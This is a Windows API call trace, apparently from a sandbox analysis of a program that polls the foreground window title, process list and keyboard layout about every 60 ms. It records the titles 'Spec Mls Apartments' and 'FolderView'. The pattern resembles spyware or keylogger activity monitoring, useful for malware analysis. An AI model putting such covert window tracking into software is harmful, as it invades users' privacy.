[0199.098] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0199.098] EnumProcesses (in: lpidProcess=0x23bb974, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bb974, lpcbNeeded=0x4f8f87c) returned 1
[0199.098] GetLastError () returned 0x0
[0199.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0199.102] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0199.102] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.238] GetForegroundWindow () returned 0x101a2
[0199.238] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.301] GetForegroundWindow () returned 0x101a2
[0199.301] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.363] GetForegroundWindow () returned 0x101a2
[0199.363] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.425] GetForegroundWindow () returned 0x100f6
[0199.426] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0199.426] EnumProcesses (in: lpidProcess=0x23cdd78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cdd78, lpcbNeeded=0x4f8f87c) returned 1
[0199.426] GetLastError () returned 0x0
[0199.427] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0199.431] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0199.431] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0199.488] GetForegroundWindow () returned 0x101a2
[0199.488] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0199.488] EnumProcesses (in: lpidProcess=0x23df974, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23df974, lpcbNeeded=0x4f8f87c) returned 1
[0199.489] GetLastError () returned 0x0
[0199.489] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0199.492] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0199.492] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.550] GetForegroundWindow () returned 0x101a2
[0199.550] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.613] GetForegroundWindow () returned 0x101a2
[0199.613] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.675] GetForegroundWindow () returned 0x101a2
[0199.675] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0199.737] GetForegroundWindow () returned 0x100f6
[0199.737] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0199.737] EnumProcesses (in: lpidProcess=0x23f1d78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f1d78, lpcbNeeded=0x4f8f87c) returned 1
[0199.738] GetLastError () returned 0x0
[0199.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8f68) returned 0x0
[0199.742] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0199.742] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0201.064] GetForegroundWindow () returned 0x101a2
[0201.064] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0201.064] EnumProcesses (in: lpidProcess=0x2494bbc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2494bbc, lpcbNeeded=0x4f8f87c) returned 1
[0201.065] GetLastError () returned 0x0
[0201.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8f28) returned 0x0
[0201.069] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0201.069] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.126] GetForegroundWindow () returned 0x101a2
[0201.126] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.189] GetForegroundWindow () returned 0x101a2
[0201.189] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.251] GetForegroundWindow () returned 0x101a2
[0201.251] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.313] GetForegroundWindow () returned 0x100f6
[0201.313] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0201.313] EnumProcesses (in: lpidProcess=0x24a6f54, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a6f54, lpcbNeeded=0x4f8f87c) returned 1
[0201.314] GetLastError () returned 0x0
[0201.314] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0201.317] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0201.317] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0201.376] GetForegroundWindow () returned 0x101a2
[0201.376] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0201.376] EnumProcesses (in: lpidProcess=0x24b8a78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b8a78, lpcbNeeded=0x4f8f87c) returned 1
[0201.376] GetLastError () returned 0x0
[0201.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0201.380] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0201.380] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.438] GetForegroundWindow () returned 0x101a2
[0201.439] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.500] GetForegroundWindow () returned 0x101a2
[0201.501] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.563] GetForegroundWindow () returned 0x101a2
[0201.563] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.625] GetForegroundWindow () returned 0x100f6
[0201.625] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0201.625] EnumProcesses (in: lpidProcess=0x24cada4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24cada4, lpcbNeeded=0x4f8f87c) returned 1
[0201.626] GetLastError () returned 0x0
[0201.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0201.629] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0201.629] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0201.689] GetForegroundWindow () returned 0x101a2
[0201.689] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0201.689] EnumProcesses (in: lpidProcess=0x24dc8c8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24dc8c8, lpcbNeeded=0x4f8f87c) returned 1
[0201.689] GetLastError () returned 0x0
[0201.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0201.693] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0201.693] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.750] GetForegroundWindow () returned 0x101a2
[0201.751] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.812] GetForegroundWindow () returned 0x101a2
[0201.813] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.876] GetForegroundWindow () returned 0x101a2
[0201.876] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0201.937] GetForegroundWindow () returned 0x100f6
[0201.937] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0201.937] EnumProcesses (in: lpidProcess=0x24eebf4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24eebf4, lpcbNeeded=0x4f8f87c) returned 1
[0201.938] GetLastError () returned 0x0
[0201.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0201.942] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0201.942] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0202.000] GetForegroundWindow () returned 0x101a2
[0202.000] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0202.000] EnumProcesses (in: lpidProcess=0x2500718, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2500718, lpcbNeeded=0x4f8f87c) returned 1
[0202.001] GetLastError () returned 0x0
[0202.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0202.008] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0202.008] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.062] GetForegroundWindow () returned 0x101a2
[0202.062] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.124] GetForegroundWindow () returned 0x101a2
[0202.124] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.187] GetForegroundWindow () returned 0x101a2
[0202.187] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.249] GetForegroundWindow () returned 0x100f6
[0202.249] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0202.249] EnumProcesses (in: lpidProcess=0x2512a98, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2512a98, lpcbNeeded=0x4f8f87c) returned 1
[0202.250] GetLastError () returned 0x0
[0202.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0202.261] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0202.261] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0202.311] GetForegroundWindow () returned 0x101a2
[0202.312] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0202.312] EnumProcesses (in: lpidProcess=0x2384e84, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384e84, lpcbNeeded=0x4f8f87c) returned 1
[0202.312] GetLastError () returned 0x0
[0202.313] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0202.316] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0202.316] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.375] GetForegroundWindow () returned 0x101a2
[0202.375] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.436] GetForegroundWindow () returned 0x101a2
[0202.436] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.499] GetForegroundWindow () returned 0x101a2
[0202.499] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.561] GetForegroundWindow () returned 0x100f6
[0202.562] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0202.562] EnumProcesses (in: lpidProcess=0x23971b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23971b0, lpcbNeeded=0x4f8f87c) returned 1
[0202.562] GetLastError () returned 0x0
[0202.563] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0202.565] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0202.566] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0202.623] GetForegroundWindow () returned 0x101a2
[0202.624] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0202.624] EnumProcesses (in: lpidProcess=0x23a8cd4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a8cd4, lpcbNeeded=0x4f8f87c) returned 1
[0202.624] GetLastError () returned 0x0
[0202.625] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0202.628] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0202.628] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.686] GetForegroundWindow () returned 0x101a2
[0202.686] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.748] GetForegroundWindow () returned 0x101a2
[0202.748] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.811] GetForegroundWindow () returned 0x101a2
[0202.811] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.873] GetForegroundWindow () returned 0x100f6
[0202.873] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0202.873] EnumProcesses (in: lpidProcess=0x23bb000, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bb000, lpcbNeeded=0x4f8f87c) returned 1
[0202.874] GetLastError () returned 0x0
[0202.874] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0202.877] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0202.877] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0202.935] GetForegroundWindow () returned 0x101a2
[0202.936] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0202.936] EnumProcesses (in: lpidProcess=0x23ccb24, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ccb24, lpcbNeeded=0x4f8f87c) returned 1
[0202.936] GetLastError () returned 0x0
[0202.937] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0202.939] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0202.940] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0202.998] GetForegroundWindow () returned 0x101a2
[0202.998] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.061] GetForegroundWindow () returned 0x101a2
[0203.062] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.124] GetForegroundWindow () returned 0x101a2
[0203.124] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.185] GetForegroundWindow () returned 0x100f6
[0203.185] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0203.185] EnumProcesses (in: lpidProcess=0x23deea4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23deea4, lpcbNeeded=0x4f8f87c) returned 1
[0203.186] GetLastError () returned 0x0
[0203.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0203.190] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0203.190] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0203.248] GetForegroundWindow () returned 0x101a2
[0203.248] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0203.248] EnumProcesses (in: lpidProcess=0x23f09c8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f09c8, lpcbNeeded=0x4f8f87c) returned 1
[0203.248] GetLastError () returned 0x0
[0203.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0203.251] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0203.251] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.310] GetForegroundWindow () returned 0x101a2
[0203.310] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.373] GetForegroundWindow () returned 0x101a2
[0203.373] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.435] GetForegroundWindow () returned 0x101a2
[0203.435] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.497] GetForegroundWindow () returned 0x100f6
[0203.497] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0203.497] EnumProcesses (in: lpidProcess=0x2402d8c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2402d8c, lpcbNeeded=0x4f8f87c) returned 1
[0203.498] GetLastError () returned 0x0
[0203.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0203.501] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0203.501] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0203.560] GetForegroundWindow () returned 0x101a2
[0203.560] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0203.560] EnumProcesses (in: lpidProcess=0x24148b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24148b0, lpcbNeeded=0x4f8f87c) returned 1
[0203.560] GetLastError () returned 0x0
[0203.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0203.564] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0203.564] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.622] GetForegroundWindow () returned 0x101a2
[0203.622] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.684] GetForegroundWindow () returned 0x101a2
[0203.684] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.747] GetForegroundWindow () returned 0x101a2
[0203.747] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.810] GetForegroundWindow () returned 0x100f6
[0203.810] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0203.811] EnumProcesses (in: lpidProcess=0x2426bdc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2426bdc, lpcbNeeded=0x4f8f87c) returned 1
[0203.811] GetLastError () returned 0x0
[0203.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0203.820] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0203.820] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0203.873] GetForegroundWindow () returned 0x101a2
[0203.873] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0203.873] EnumProcesses (in: lpidProcess=0x2438700, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2438700, lpcbNeeded=0x4f8f87c) returned 1
[0203.874] GetLastError () returned 0x0
[0203.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8ee8) returned 0x0
[0203.886] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0203.886] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.934] GetForegroundWindow () returned 0x101a2
[0203.934] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0203.996] GetForegroundWindow () returned 0x101a2
[0203.996] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.059] GetForegroundWindow () returned 0x101a2
[0204.059] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.121] GetForegroundWindow () returned 0x100f6
[0204.121] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0204.121] EnumProcesses (in: lpidProcess=0x244aa80, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x244aa80, lpcbNeeded=0x4f8f87c) returned 1
[0204.121] GetLastError () returned 0x0
[0204.122] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0204.125] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0204.125] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0204.183] GetForegroundWindow () returned 0x101a2
[0204.183] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0204.184] EnumProcesses (in: lpidProcess=0x245c538, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245c538, lpcbNeeded=0x4f8f87c) returned 1
[0204.184] GetLastError () returned 0x0
[0204.184] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0204.187] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0204.188] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.246] GetForegroundWindow () returned 0x101a2
[0204.246] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.308] GetForegroundWindow () returned 0x101a2
[0204.308] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.371] GetForegroundWindow () returned 0x101a2
[0204.371] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0204.433] GetForegroundWindow () returned 0x100f6
[0204.433] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0204.433] EnumProcesses (in: lpidProcess=0x246e7f8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246e7f8, lpcbNeeded=0x4f8f87c) returned 1
[0204.434] GetLastError () returned 0x0
[0204.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
